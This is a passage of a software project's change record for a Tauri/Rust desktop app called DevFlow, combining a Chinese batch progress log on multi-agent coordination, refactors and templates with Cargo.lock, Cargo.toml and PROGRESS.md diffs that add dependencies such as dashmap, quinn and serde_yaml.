- **内容**:
|
||||
- 后端 detect_module_cycles IPC(DFS 三色标记法检测环形依赖)
|
||||
- 前端环检测按钮:高亮参与环的节点(红色边框)
|
||||
- 图导出 PNG(X6 toPNG 回调模式)
|
||||
- 后端 count_tasks IPC + 前端 taskApi.count()
|
||||
- 任务列表所有筛选/搜索/排序/翻页均拉真实 total
|
||||
|
||||
---
|
||||
|
||||
## Batch 30 — 代码质量收尾
|
||||
|
||||
- **提交**: `6771d39`
|
||||
- **内容**:
|
||||
- 设置页搜索索引补全(新增 dataDir 项)
|
||||
- 编译警告清理(df-storage OptionalExtension + df-ai join_set)
|
||||
- i18n 核验(移除 zh-CN/fileExplorer.ts 未使用的 loadMore key)
|
||||
- String 替 newtype(5 个 branded ID 类型:ProjectId/TaskId/ConvId/ModuleId/MessageId)
|
||||
- **验证**: cargo check + vue-tsc + vite build 通过
|
||||
|
||||
## Batch 31 — God 文件拆分第一步(MessageList)
|
||||
|
||||
- **提交**: `2c2b2d7`
|
||||
- **内容**:
|
||||
- 提取 useMessageScroll.ts(滚动跟随/锁存/回底按钮,89 行)
|
||||
- 提取 MessageItem.vue(单条消息按 role 渲染,171 行)
|
||||
- MessageList.vue 从 1552 行降至 1386 行(-166 行)
|
||||
- **验证**: vue-tsc + vite build 通过
|
||||
|
||||
## Batch 32 — God 文件拆分第二步(ChatInput)
|
||||
|
||||
- **提交**: `3abdfb4`
|
||||
- **内容**:
|
||||
- 提取 SkillMention.vue(/@ 联想浮层,63 行)
|
||||
- 提取 ImageInput.vue(图片粘贴/拖拽预览,33 行)
|
||||
- ChatInput.vue 从 1183 行降至 1155 行
|
||||
- **验证**: vue-tsc + vite build 通过
|
||||
|
||||
## Batch 34 — 产品完善
|
||||
|
||||
- **提交**: `2af24f0`
|
||||
- **内容**:
|
||||
- 小程序 device 在线心跳加固(早前已完成)
|
||||
- ScriptNode 白名单跨 crate 接口打通:OnceLock 全局态 + IPC set_script_safety
|
||||
- AI 写入后文件树自动刷新(早前已完成)
|
||||
- Projects 列表分页(后端 list_projects 已支持 limit/offset)
|
||||
- **验证**: cargo check + vue-tsc 通过
|
||||
|
||||
## Batch 35 — 人设系统(P0·第一步)
|
||||
|
||||
- **提交**: `0a65ea2`
|
||||
- **内容**:
|
||||
- AgentPersona 数据结构(能力标签/工具白名单/prompt 模板)
|
||||
- PersonaRegistry 注册表(5 内置人设: coder/reviewer/architect/tester/analyst)
|
||||
- 按意图推荐人设(启发式关键词匹配合适角色)
|
||||
- build_prompt 注入上下文和目标钉扎
|
||||
- **验证**: 10 个单元测试通过
|
||||
|
||||
## Batch 36 — Coordinator 接入 + audit 拆分
|
||||
|
||||
- **提交**: `fa410e6`
|
||||
- **内容**:
|
||||
- audit/mod.rs 拆分出 approval/record 子模块(process_tool_calls 从 ~500→~200 行)
|
||||
- coordinator.rs 移除 deprecated 标记,正式可用
|
||||
- Coordinator 接入 run_agentic_loop 入口(plan_execution_enabled 时分解意图→输出 Plan)
|
||||
- **验证**: cargo check 通过
|
||||
|
||||
## Batch 37 — 代码卫生与质量提升(String→newtype + 文件清理 + 文档同步)
|
||||
|
||||
- **提交**: `4624688`
|
||||
- **内容**:
|
||||
- ExecutionId/ToolCallType/ToolType 裸 String → newtype(IPC 边界仍透明序列化为字符串)
|
||||
- ChatMessage.status 从 `Option<String>` → `Option<MessageStatus>` 枚举(Active/Truncated/Compressed/ArchivedSegment)
|
||||
- .gitignore 添加分析脚本,tmp 文件清理
|
||||
- Batch.md/文档状态同步
|
||||
- **验证**: cargo check 通过
|
||||
|
||||
## Batch 38 — 合并产出落回主对话(Coordinator 接线)
|
||||
|
||||
- **提交**: 待后续
|
||||
- **内容**:
|
||||
- `run_agentic_loop`:plan_execution_enabled 时,decompose 后调 dispatch
|
||||
→ merge → 合并产出以单条 assistant 消息推回主对话,emit AiCompleted 后 return
|
||||
- `pinned_goals_snapshot` 提前初始化,coordinator 出口复用
|
||||
- **测试**: cargo check + vue-tsc 通过
|
||||
- **验证**: plan_execution_enabled 默认关,主线行为零变化
|
||||
|
||||
## 后续规划批次(待推进)
|
||||
|
||||
> 设计文档:[多Agent并行执行与仲裁合并设计-2026-07-01.md](docs/02-架构设计/专项设计/多Agent并行执行与仲裁合并设计-2026-07-01.md)
|
||||
|
||||
### 数据层 + Git worktree 隔离 + 并行执行 ✅
|
||||
|
||||
- **提交**: `ae6d3d0` → `4483358` → `3c9077b`
|
||||
- **测试**: 48 个全绿(7 Repo + 7 worktree + 27 Coordinator + 4 Token + 3 merge)
|
||||
- **验证**: cargo check(0 警告) + vue-tsc + vite build
|
||||
- **已完成任务**:
|
||||
|
||||
| # | 任务 | 文件 |
|
||||
|---|------|------|
|
||||
| 1 | V36 迁移(ai_plans/ai_subtasks/ai_conflicts 3 新表 + ai_messages/ai_tool_executions 加 subtask_id + subtasks.branch + conflicts.conflict_type) | migrations.rs |
|
||||
| 2 | PlanRepo / SubTaskRepo / ConflictRepo CRUD + models 结构体 | 新 repo 文件 |
|
||||
| 3 | Git worktree 生命周期管理(create/commit/merge/remove) | 新 git_worktree.rs |
|
||||
| 4 | Coordinator.dispatch JoinSet 层内并行(每 SubTask 绑 worktree) | coordinator.rs |
|
||||
| 5 | Token 预算池(AtomicU64 CAS,超限降级串行) | coordinator.rs |
|
||||
| 6 | 子 Agent 独立 ContextManager + fork 快照 + worktree_path | coordinator.rs |
|
||||
| 7 | 层间 merge 到 plan 分支 + 下一层基于 plan 创建 worktree | coordinator.rs |
|
||||
| 8 | 4 个新事件 + 事件双写(emit + publish_event) | AiChatEvent |
|
||||
| 9 | 前端类型定义(PlanRecord/SubTaskRecord/ConflictRecord) | api/types.ts |
|
||||
| 10 | PlanProgress 接入真实状态 + 发送即展示 | PlanProgress.vue |
|
||||
| 11 | 工具卡按 subtask_id 折叠分组 + persona 徽章 | MessageList.vue |
|
||||
| 12 | 编译警告清理(coordinator_plan unused / audit 子模块 unused imports) | 各文件 |
|
||||
|
||||
### 仲裁合并 + 冲突 UI + 编译检查 ✅
|
||||
|
||||
- **提交**: `1d580dc` → `6e44878`
|
||||
- **测试**: 7 个 merge 冲突检测测试全绿
|
||||
- **已完成任务**:
|
||||
|
||||
| # | 任务 | 状态 |
|
||||
|---|------|------|
|
||||
| 1 | Coordinator.merge 冲突检测(同文件路径 + 跳过失败 SubTask) | ✅ |
|
||||
| 2 | extract_written_files 辅助函数(从 output 提取写入路径) | ✅ |
|
||||
| 3 | ConflictResolver.vue(双栏 diff + 接受A/B/合并/手动按钮) | ✅ |
|
||||
| 4 | i18n 冲突翻译键(中英文) | ✅ |
|
||||
| 5 | agentic/mod.rs 拆分(提取自动压缩到 context_lifecycle.rs,2222→2071行) | ✅ |
|
||||
| 6 | Reviewer Agent 仲裁(persona.rs 扩展) | 待下一批 |
|
||||
| 7 | 命令互斥锁(run_command 同目录 mutex) | 待下一批 |
|
||||
| 8 | context.rs 拆分(1956行) | 待下一批 |
|
||||
|
||||
### 模板系统 + 节点补齐 ✅
|
||||
|
||||
- **提交**: `f40287b` → `27b4268`
|
||||
- **测试**: 8 个模板加载 + 37 个节点 + 5 个 SubflowNode 测试全绿
|
||||
- **已完成任务**:
|
||||
|
||||
| # | 任务 | 状态 |
|
||||
|---|------|------|
|
||||
| 1 | YAML 模板格式定义 + 加载器(YAML→DagDef + 校验:空节点/未知类型/环/边引用) | ✅ |
|
||||
| 2 | GitNode(分支/checkout/commit/merge/push/status/log) | ✅ |
|
||||
| 3 | HTTPNode(GET/POST/PUT/DELETE + headers/body/timeout) | ✅ |
|
||||
| 4 | NotifyNode(桌面通知 + Webhook) | ✅ |
|
||||
| 5 | SubflowNode(嵌套子工作流 + 深度限制) | ✅ |
|
||||
| 6 | 内置模板 3 个预设(代码审查/Bug修复/功能开发) | ✅ |
|
||||
| 7 | 前端模板选择入口 + 模板 CRUD IPC | 待下一批 |
|
||||
| 8 | MessageList.vue 继续拆分 | 待下一批 |
|
||||
|
||||
### Git/CI 集成 + DockerNode + God 文件收尾 ✅
|
||||
|
||||
| # | 任务 | 状态 |
|
||||
|---|------|------|
|
||||
| 1 | DockerNode(环境检测+授权) | ✅ |
|
||||
| 2 | GitNode push(plan分支推送) | ✅ GitNode 含 push action |
|
||||
| 3 | commit status 读取(Gitea API) | ✅ ci_status.rs |
|
||||
| 4 | CIStatus.vue 前端面板 | ✅ |
|
||||
| 5 | ChatInput.vue 拆分(1155→1007行) | ✅ |
|
||||
| 6 | context.rs 拆分(1956→538行) | ✅ |
|
||||
|
||||
### 审批政策 + 小程序完善 + 体验收尾 ✅
|
||||
|
||||
| # | 任务 | 状态 |
|
||||
|---|------|------|
|
||||
| 1 | 审批策略 Persona 维度 | ✅ |
|
||||
| 2 | 小程序 MentionInput 接真实数据 | ✅ 核验已完成 |
|
||||
| 3 | 小程序长会话虚拟化 | ✅ 截断200条合理兜底 |
|
||||
| 4 | 快捷键完善(Ctrl+N/Ctrl+R) | ✅ |
|
||||
| 5 | ARCHITECTURE.md 状态同步 | ✅ |
|
||||
|
||||
### 批次 C 前序散项 ✅
|
||||
|
||||
| # | 任务 | 状态 |
|
||||
|---|------|------|
|
||||
| 1 | Reviewer Agent 仲裁 | ✅ |
|
||||
| 2 | 命令互斥锁 | ✅ |
|
||||
| 3 | resolve_conflict IPC | ✅ |
|
||||
| 4 | 模板 CRUD IPC | ✅ |
|
||||
| 5 | MessageList.vue 拆分(1386→1148行) | ✅ |
|
||||
| 6 | AiChat 进度条(completedTools 计数器) | ✅ |
|
||||
| 7 | df-types augmentation 测试修复 | ✅ |
|
||||
| 8 | 前端 UI 审查修复(badge/confirm/加载态/CSS) | ✅ |
|
||||
| 9 | 合并产出落回主对话 | 待接线 |
|
||||
|
||||
---
|
||||
|
||||
## 未纳入批次的其他会话改动
|
||||
|
||||
- `src/composables/ai/aiShared.ts` + `src/stores/ai.ts` — 循环依赖修复(Batch 6 补丁 `cc3ef5b` 纳入提交)
|
||||
202
Cargo.lock
generated
202
Cargo.lock
generated
@@ -779,6 +779,20 @@ dependencies = [
|
||||
"syn 2.0.117",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dashmap"
|
||||
version = "6.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6361d5c062261c78a176addb82d4c821ae42bed6089de0e12603cd25de2059c"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"crossbeam-utils",
|
||||
"hashbrown 0.14.5",
|
||||
"lock_api",
|
||||
"once_cell",
|
||||
"parking_lot_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "data-encoding"
|
||||
version = "2.11.0"
|
||||
@@ -835,6 +849,7 @@ dependencies = [
|
||||
"async-trait",
|
||||
"base64 0.22.1",
|
||||
"chrono",
|
||||
"dashmap",
|
||||
"df-ai",
|
||||
"df-execute",
|
||||
"df-ideas",
|
||||
@@ -877,13 +892,15 @@ version = "0.1.0"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"async-trait",
|
||||
"bytes",
|
||||
"df-ai-core",
|
||||
"df-types",
|
||||
"eventsource-stream",
|
||||
"futures",
|
||||
"rand 0.8.6",
|
||||
"reqwest 0.12.28",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"tempfile",
|
||||
"tokio",
|
||||
"tracing",
|
||||
]
|
||||
@@ -953,6 +970,7 @@ dependencies = [
|
||||
"df-storage",
|
||||
"df-types",
|
||||
"df-workflow",
|
||||
"reqwest 0.12.28",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"tokio",
|
||||
@@ -968,6 +986,7 @@ dependencies = [
|
||||
"df-types",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"thiserror 2.0.18",
|
||||
"tokio",
|
||||
"tracing",
|
||||
]
|
||||
@@ -1039,6 +1058,7 @@ dependencies = [
|
||||
"futures",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"serde_yaml",
|
||||
"tokio",
|
||||
"tracing",
|
||||
]
|
||||
@@ -1290,17 +1310,6 @@ dependencies = [
|
||||
"pin-project-lite",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "eventsource-stream"
|
||||
version = "0.2.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "74fef4569247a5f429d9156b9d0a2599914385dd189c539334c625d8099d90ab"
|
||||
dependencies = [
|
||||
"futures-core",
|
||||
"nom",
|
||||
"pin-project-lite",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "fallible-iterator"
|
||||
version = "0.3.0"
|
||||
@@ -1640,8 +1649,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"js-sys",
|
||||
"libc",
|
||||
"wasi",
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1651,9 +1662,11 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "899def5c37c4fd7b2664648c28120ecec138e4d395b459e5ca34f9cce2dd77fd"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"js-sys",
|
||||
"libc",
|
||||
"r-efi 5.3.0",
|
||||
"wasip2",
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -1989,6 +2002,7 @@ dependencies = [
|
||||
"tokio",
|
||||
"tokio-rustls",
|
||||
"tower-service",
|
||||
"webpki-roots",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -2490,6 +2504,12 @@ version = "0.4.32"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "953f07c43838f8e6f9758cab68bf5bed85465e7587ebe0b823f1bcd81978ad3a"
|
||||
|
||||
[[package]]
|
||||
name = "lru-slab"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154"
|
||||
|
||||
[[package]]
|
||||
name = "markup5ever"
|
||||
version = "0.38.0"
|
||||
@@ -2537,12 +2557,6 @@ version = "0.3.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
|
||||
|
||||
[[package]]
|
||||
name = "minimal-lexical"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
|
||||
|
||||
[[package]]
|
||||
name = "miniz_oxide"
|
||||
version = "0.8.9"
|
||||
@@ -2645,16 +2659,6 @@ dependencies = [
|
||||
"memoffset",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nom"
|
||||
version = "7.1.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
|
||||
dependencies = [
|
||||
"memchr",
|
||||
"minimal-lexical",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nu-ansi-term"
|
||||
version = "0.50.3"
|
||||
@@ -3344,6 +3348,61 @@ dependencies = [
|
||||
"memchr",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quinn"
|
||||
version = "0.11.11"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"cfg_aliases",
|
||||
"pin-project-lite",
|
||||
"quinn-proto",
|
||||
"quinn-udp",
|
||||
"rustc-hash",
|
||||
"rustls",
|
||||
"socket2",
|
||||
"thiserror 2.0.18",
|
||||
"tokio",
|
||||
"tracing",
|
||||
"web-time",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quinn-proto"
|
||||
version = "0.11.15"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4fcb935c5bec503c2f0e306bdd3e58bb9029dcb14fa8d9ac76e3a5256ac0763e"
|
||||
dependencies = [
|
||||
"bytes",
|
||||
"getrandom 0.3.4",
|
||||
"lru-slab",
|
||||
"rand 0.9.4",
|
||||
"ring",
|
||||
"rustc-hash",
|
||||
"rustls",
|
||||
"rustls-pki-types",
|
||||
"slab",
|
||||
"thiserror 2.0.18",
|
||||
"tinyvec",
|
||||
"tracing",
|
||||
"web-time",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quinn-udp"
|
||||
version = "0.5.14"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "addec6a0dcad8a8d96a771f815f0eaf55f9d1805756410b39f5fa81332574cbd"
|
||||
dependencies = [
|
||||
"cfg_aliases",
|
||||
"libc",
|
||||
"once_cell",
|
||||
"socket2",
|
||||
"tracing",
|
||||
"windows-sys 0.60.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.45"
|
||||
@@ -3372,8 +3431,18 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5ca0ecfa931c29007047d1bc58e623ab12e5590e8c7cc53200d5202b69266d8a"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"rand_chacha",
|
||||
"rand_core",
|
||||
"rand_chacha 0.3.1",
|
||||
"rand_core 0.6.4",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand"
|
||||
version = "0.9.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "44c5af06bb1b7d3216d91932aed5265164bf384dc89cd6ba05cf59a35f5f76ea"
|
||||
dependencies = [
|
||||
"rand_chacha 0.9.0",
|
||||
"rand_core 0.9.5",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -3383,7 +3452,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||
dependencies = [
|
||||
"ppv-lite86",
|
||||
"rand_core",
|
||||
"rand_core 0.6.4",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_chacha"
|
||||
version = "0.9.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb"
|
||||
dependencies = [
|
||||
"ppv-lite86",
|
||||
"rand_core 0.9.5",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -3395,6 +3474,15 @@ dependencies = [
|
||||
"getrandom 0.2.17",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "rand_core"
|
||||
version = "0.9.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "76afc826de14238e6e8c374ddcc1fa19e374fd8dd986b0d2af0d02377261d83c"
|
||||
dependencies = [
|
||||
"getrandom 0.3.4",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "raw-window-handle"
|
||||
version = "0.6.2"
|
||||
@@ -3495,6 +3583,8 @@ dependencies = [
|
||||
"native-tls",
|
||||
"percent-encoding",
|
||||
"pin-project-lite",
|
||||
"quinn",
|
||||
"rustls",
|
||||
"rustls-pki-types",
|
||||
"serde",
|
||||
"serde_json",
|
||||
@@ -3502,6 +3592,7 @@ dependencies = [
|
||||
"sync_wrapper",
|
||||
"tokio",
|
||||
"tokio-native-tls",
|
||||
"tokio-rustls",
|
||||
"tokio-util",
|
||||
"tower",
|
||||
"tower-http",
|
||||
@@ -3511,6 +3602,7 @@ dependencies = [
|
||||
"wasm-bindgen-futures",
|
||||
"wasm-streams 0.4.2",
|
||||
"web-sys",
|
||||
"webpki-roots",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -3634,6 +3726,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef86cd5876211988985292b91c96a8f2d298df24e75989a43a3c73f2d4d8168b"
|
||||
dependencies = [
|
||||
"once_cell",
|
||||
"ring",
|
||||
"rustls-pki-types",
|
||||
"rustls-webpki",
|
||||
"subtle",
|
||||
@@ -3646,6 +3739,7 @@ version = "1.14.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "30a7197ae7eb376e574fe940d068c30fe0462554a3ddbe4eca7838e049c937a9"
|
||||
dependencies = [
|
||||
"web-time",
|
||||
"zeroize",
|
||||
]
|
||||
|
||||
@@ -3757,7 +3851,7 @@ dependencies = [
|
||||
"generic-array",
|
||||
"num",
|
||||
"once_cell",
|
||||
"rand",
|
||||
"rand 0.8.6",
|
||||
"serde",
|
||||
"zbus 4.4.0",
|
||||
]
|
||||
@@ -3978,6 +4072,19 @@ dependencies = [
|
||||
"syn 2.0.117",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_yaml"
|
||||
version = "0.9.34+deprecated"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47"
|
||||
dependencies = [
|
||||
"indexmap 2.14.0",
|
||||
"itoa",
|
||||
"ryu",
|
||||
"serde",
|
||||
"unsafe-libyaml",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serialize-to-javascript"
|
||||
version = "0.1.2"
|
||||
@@ -5231,7 +5338,7 @@ dependencies = [
|
||||
"httparse",
|
||||
"log",
|
||||
"native-tls",
|
||||
"rand",
|
||||
"rand 0.8.6",
|
||||
"sha1",
|
||||
"thiserror 1.0.69",
|
||||
"utf-8",
|
||||
@@ -5249,7 +5356,7 @@ dependencies = [
|
||||
"http",
|
||||
"httparse",
|
||||
"log",
|
||||
"rand",
|
||||
"rand 0.8.6",
|
||||
"sha1",
|
||||
"thiserror 1.0.69",
|
||||
"utf-8",
|
||||
@@ -5337,6 +5444,12 @@ version = "0.2.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853"
|
||||
|
||||
[[package]]
|
||||
name = "unsafe-libyaml"
|
||||
version = "0.2.11"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "673aac59facbab8a9007c7f6108d11f63b603f7cabff99fabf650fea5c32b861"
|
||||
|
||||
[[package]]
|
||||
name = "untrusted"
|
||||
version = "0.9.0"
|
||||
@@ -5604,6 +5717,16 @@ dependencies = [
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "web-time"
|
||||
version = "1.1.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb"
|
||||
dependencies = [
|
||||
"js-sys",
|
||||
"wasm-bindgen",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "web_atoms"
|
||||
version = "0.2.4"
|
||||
@@ -5660,6 +5783,15 @@ dependencies = [
|
||||
"system-deps",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "webpki-roots"
|
||||
version = "1.0.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bf85cb06032201fa7c6f829d7db5a7e5aa45bcc0655327713065f6f0576731bf"
|
||||
dependencies = [
|
||||
"rustls-pki-types",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "webview2-com"
|
||||
version = "0.38.2"
|
||||
@@ -6397,7 +6529,7 @@ dependencies = [
|
||||
"hex",
|
||||
"nix",
|
||||
"ordered-stream",
|
||||
"rand",
|
||||
"rand 0.8.6",
|
||||
"serde",
|
||||
"serde_repr",
|
||||
"sha1",
|
||||
|
||||
@@ -22,3 +22,7 @@ regex = "1"
|
||||
# Win+mac 启用原生后端;linux 用 async-persistent 变体避同步阻塞 Secret Service。
|
||||
# 由 df-storage(密钥解析下沉层) + src-tauri(build_provider_for 转发壳)共同引用。
|
||||
keyring = { version = "3", features = ["windows-native", "apple-native", "linux-native-async-persistent"] }
|
||||
# dashmap: ConvStateStore 无锁并发 HashMap(session 锁重构方案 B-Phase0)。
|
||||
# ConvState 提到 ConvStateStore(DashMap),guard.reset/ai_is_generating 不依赖 session lock,
|
||||
# 治卡死连环(AiCompleted 延迟/工具后中断/第二条进队列同源根因)。详见 workflow session-lock-redesign。
|
||||
dashmap = "6"
|
||||
|
||||
59
PROGRESS.md
59
PROGRESS.md
@@ -1,6 +1,6 @@
|
||||
# DevFlow — 项目进展与工作交接
|
||||
|
||||
> 创建: 2026-06-10 | 最后更新: 2026-06-18 | 当前阶段: PROGRESS Sprint 日志截至 Sprint 24(2026-06-15 · P0 generating 状态机加固 + 独立项批量);2026-06-16 起多会话进展(B-03 路由解耦 / 工具结果渲染 / 吞错降级 / 模型能力维度治理等)见 [docs/todo.md](docs/todo.md) + [docs/待审查.md](docs/待审查.md)
|
||||
> 创建: 2026-06-10 | 最后更新: 2026-07-02 | 当前阶段: 多 Agent 并行执行架构落地完成(Plan DAG + worktree 隔离 + JoinSet 并行 + Reviewer 仲裁 + 模板系统 + 全节点补齐),详见 [Batch.md](Batch.md)
|
||||
|
||||
---
|
||||
|
||||
@@ -11,9 +11,9 @@
|
||||
| 定位 | AI 原生创作流程驾驶舱,从想法到创作成果的全流程管理 |
|
||||
| 技术栈 | Tauri v2 + Vue 3 + TypeScript + Pinia / Rust Workspace (8 crate) / SQLite |
|
||||
| 路径 | `E:/wk-lab/devflow/` |
|
||||
| 架构文档 | `ARCHITECTURE.md` (22,745 字) |
|
||||
| Git 状态 | 已纳入版本控制(完整 commit 历史,当前分支 feat/batch-260615-workflow-unlock) |
|
||||
| AI 能力 | df-ai OpenAI/Anthropic 双协议 Provider + 12 工具 + Agentic Loop |
|
||||
| 架构文档 | `ARCHITECTURE.md` + `docs/02-架构设计/` (含多 Agent 设计文档) |
|
||||
| Git 状态 | 已纳入版本控制(main 分支) |
|
||||
| AI 能力 | OpenAI/Anthropic 双协议 + 40+ 工具 + Agentic Loop + 多 Agent 并行 + 人设系统 |
|
||||
|
||||
---
|
||||
|
||||
@@ -23,7 +23,7 @@
|
||||
|
||||
| Crate | 文件数 | 总行数 | 有效行 | 实现程度 |
|
||||
|-------|--------|--------|--------|---------|
|
||||
| df-core | 4 | 429 | ~260 | ✅ 完整 — 错误/事件/状态枚举/ID生成 |
|
||||
| df-types | 4 | 429 | ~260 | ✅ 完整 — 错误/事件/状态枚举/ID生成/augmentation |
|
||||
| df-workflow | 9 | 908 | ~620 | ✅ 核心 — DAG拓扑排序/执行器/状态机/事件总线 可用 |
|
||||
| df-storage | 5 | ~2,100 | ~1,400 | ✅ 完整 — 连接/迁移/建表(V1-V8) + impl_repo! 宏 CRUD + KnowledgeRepo(search/list_by_status/set_embedding/search_vector 等)+ 余弦相似度工具函数 |
|
||||
| df-execute | 5 | 203 | 129 | ✅ Shell 执行器真实可用(tokio::process,被 run_command 复用) |
|
||||
@@ -59,7 +59,7 @@
|
||||
|
||||
```
|
||||
真实可用路径(有端到端逻辑):
|
||||
df-core (类型基础)
|
||||
df-types (类型基础)
|
||||
→ df-workflow (DAG 拓扑排序 + 执行器 + 状态机 + EventBus)
|
||||
→ df-execute/shell (tokio::process Shell 执行)
|
||||
→ df-storage (SQLite 连接 + 迁移 + 建表)
|
||||
@@ -98,7 +98,7 @@
|
||||
|
||||
| 任务 | 状态 | 说明 |
|
||||
|------|------|------|
|
||||
| df-core 类型系统 | ✅ 完成 | 错误/事件/状态枚举/ID生成 |
|
||||
| df-types 类型系统 | ✅ 完成 | 错误/事件/状态枚举/ID生成/augmentation |
|
||||
| df-workflow DAG 引擎 | ✅ 完成 | 拓扑排序/执行器/状态机/EventBus |
|
||||
| df-storage SQLite 基础表 | ✅ 完成 | 6 张表 + 4 索引,缺 CRUD |
|
||||
| df-execute Shell 执行 | ✅ 完成 | tokio::process 实现 |
|
||||
@@ -190,7 +190,7 @@
|
||||
### [Sprint 3] 2026-06-11 — Migrations V2 + Executor 并行化 + Tauri IPC(三代理并行)
|
||||
|
||||
**工作内容**(三个子代理并行,目录互不重叠):
|
||||
- **Migrations V2**(df-storage/df-core):版本推进到 2 — ideas 补 promoted_to/ai_analysis/scores、tasks 补 workflow_def_id/base_branch、workflow_executions 补 project_id/task_id、新建 branches 表(含 2 索引);BranchRecord/BranchRepo/BranchStatus 枚举同步落地,ALLOWED_COLUMNS 白名单 +8 列
|
||||
- **Migrations V2**(df-storage/df-types):版本推进到 2 — ideas 补 promoted_to/ai_analysis/scores、tasks 补 workflow_def_id/base_branch、workflow_executions 补 project_id/task_id、新建 branches 表(含 2 索引);BranchRecord/BranchRepo/BranchStatus 枚举同步落地,ALLOWED_COLUMNS 白名单 +8 列
|
||||
- **Executor 并行化**(df-workflow):同层节点改 futures::join_all 并发,三阶段模式(串行准备→并发执行→串行收尾)规避借用冲突;StateMachine 增加转换校验(仅 Pending→Running、Running→Completed/Failed 合法,set_xxx 改返回 Result);4 个单测全绿(含并行耗时断言 <180ms、失败中止下游层)
|
||||
- **Tauri IPC**(src-tauri):AppState(db + 6 Repo + EventBus + NodeRegistry)+ 17 个 command(project/task/idea CRUD + run_workflow/list/get executions);run_workflow 先落库 status=running 立即返回 execution_id,事件经 app.emit("workflow-event") 转发前端,完成后回写状态。注意:NodeRegistry 不能用 default()(script 工厂是 unimplemented! 占位),改为 new() + 手动注册真实 ScriptNode
|
||||
|
||||
